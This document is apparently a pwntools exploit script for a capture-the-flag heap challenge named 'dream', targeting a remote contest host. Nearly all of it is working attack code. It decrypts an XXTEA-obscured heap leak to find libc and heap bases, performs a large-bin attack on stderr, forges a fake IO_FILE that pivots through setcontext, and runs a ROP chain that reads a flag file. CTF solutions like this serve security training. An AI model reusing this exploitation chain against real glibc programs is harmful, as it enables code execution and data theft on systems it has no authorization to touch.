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| from decimal import setcontext from pickle import TRUE from pwn import * import ctypes from ctypes import c_int, c_uint32 context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.arch='amd64' r = process('/mnt/hgfs/ubuntu/ycb/dream/dream') r = remote('tcp.dasc.buuoj.cn',28072) libc = ELF('/mnt/hgfs/ubuntu/ycb/dream/libc-2.32.so')
global DELTA
DELTA = 0x9e3779b9 DELTA2 = 0x61C88647
def btea(v, n, key): key = [c_uint32(i) for i in key] v = [c_uint32(i) for i in v] if n > 1: rounds = 6 + 52//n sum = c_uint32(0) z = v[n-1] while True: sum.value -= DELTA2 e = (sum.value >> 2) & 3 for p in range(n-1): y = v[p+1] MX = ((((z.value>>7)^(y.value<<3)) + ((y.value>>3)^(z.value<<4))) & 0xFFFFFFFF ^ ((sum.value^y.value) + (key[(p&3)^e].value ^ z.value)) & 0xFFFFFFFF) v[p].value += MX z = v[p] p = n-1 y = v[0] MX = ((((z.value>>7)^(y.value<<3)) + ((y.value>>3)^(z.value<<4))) & 0xFFFFFFFF ^ ((sum.value^y.value) + (key[(p&3)^e].value ^ z.value)) & 0xFFFFFFFF) v[n-1].value += MX z = v[n-1] rounds -= 1 if rounds == 0: break elif n < -1: n = -n rounds = 6 + 52//n sum = c_uint32(rounds*DELTA) y = v[0] while True: e = (sum.value >> 2) & 3 for p in range(n-1, 0, -1): z = v[p-1] v[p].value -= (((z.value>>7^y.value<<3) + (y.value>>3^z.value<<4)) ^ ((sum.value^y.value) + (key[(p&3)^e].value ^ z.value))) y = v[p] p = 0
z = v[n-1] v[0].value -= (((z.value>>7^y.value<<3) + (y.value>>3^z.value<<4)) ^ ((sum.value^y.value) + (key[(p&3)^e].value ^ z.value))) y = v[0]
sum.value -= DELTA
rounds -= 1 if rounds == 0: break ret = [i.value for i in v] return ret
def menu(choice): r.recvuntil(b"choice: ") r.sendline(str(choice))
def add(idx,size,content): menu(1) r.recvuntil(b"Give me a dream ID: ") r.sendline(str(idx)) r.recvuntil(b"how long: ") r.sendline(str(size)) r.recvuntil(b"dream: ") r.send(content)
def delete(idx): menu(2) r.recvuntil(b"Which dream to wake?") r.sendline(str(idx))
def show(idx): menu(4) r.recvuntil(b"Which dream do you want to show?") r.sendline(str(idx))
def edit(idx,content): menu(3) r.recvuntil(b"Which dream to make?") r.sendline(str(idx)) r.recvuntil(b"dream: ") r.send(content)
def ROL(content, key): tmp = bin(content)[2:].rjust(64, '0') return int(tmp[key:] + tmp[:key], 2)
add(0,0x420,b'a') add(10,0x440,b'a') add(11,0x480,b'a') add(1,0x400,b'a') add(2,0x470,b'a') add(5,0x400,b'a') add(3,0x430,b'a') add(6,0x400,b'a') add(4,0x440,b'a') add(7,0x400,b'a')
delete(0) delete(4)
add(8,0x450,b'a')
show(0) data = r.recv(0x420)
ls = [u32(data[4*i:4*(i+1)]) for i in range(0x420//4)]
data2 = btea(ls, -len(ls), [9,5,2,7])
libc_base = ((data2[1]<<32)+data2[0])-0x1e3ff0 heap_base = ((data2[5]<<32)+data2[4])-0x290 delete(3) stderr = libc_base+0x1e47a0 edit(4,p64(libc_base+0x1e4000)*2+p64(heap_base+0x1b50)+p64(stderr-0x20)) add(9,0x450,b'a') leave_ret = libc_base + 0x000000000005591c fake_IO_addr = heap_base + 0x290 rop_address = fake_IO_addr + 0xe0 + 0xe8 + 0x70
gadget_addr = libc_base+0x14b520+576 setcontext_addr = libc_base+libc.sym["setcontext"]+61
fake_io_addr=heap_base+0x1c40 next_chain = 0 fake_IO_FILE=p64(0) fake_IO_FILE+=p64(0)*5 fake_IO_FILE +=p64(1)+p64(0) fake_IO_FILE +=p64(fake_io_addr+0x200-0x90) fake_IO_FILE +=p64(setcontext_addr) fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00') fake_IO_FILE += p64(0) fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00') fake_IO_FILE += p64(heap_base+0x1000) fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00') fake_IO_FILE +=p64(fake_io_addr+0x30) fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00') fake_IO_FILE += p64(0) fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00') fake_IO_FILE += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x10) fake_IO_FILE +=p64(0)*6 fake_IO_FILE += p64(fake_io_addr+0x40)
pop_rax_addr = libc_base+0x0000000000045580 syscall_addr = libc_base+0x00000000000611ea pop_rdi_addr = libc_base+0x000000000002858f pop_rsi_addr = libc_base+0x000000000002ac3f pop_rdx_r12_addr = libc_base+0x0000000000114161
fake_IO_FILE = fake_IO_FILE.ljust(0x200,b'\0') fake_IO_FILE+=p64(fake_io_addr+0x260)+p64(pop_rdi_addr+1) fake_IO_FILE = fake_IO_FILE.ljust(0x250,b'\0')
rop_data = [ pop_rax_addr, 2, pop_rdi_addr, heap_base+0x2050, syscall_addr, pop_rax_addr, 0, pop_rdi_addr, 3, pop_rsi_addr, heap_base + 0x200, pop_rdx_r12_addr, 0x200, 0, syscall_addr,
pop_rax_addr, 1, pop_rdi_addr, 1, pop_rsi_addr, heap_base + 0x200, pop_rdx_r12_addr, 0x200, 0, syscall_addr ]
fake_IO_FILE+=flat(rop_data) fake_IO_FILE = fake_IO_FILE.ljust(0x400,b'\0') fake_IO_FILE+=b'./flag\x00'
edit(3,fake_IO_FILE)
log.success("heap_base: "+hex(heap_base)) log.success("libc_base: "+hex(libc_base))
menu(5) r.interactive()
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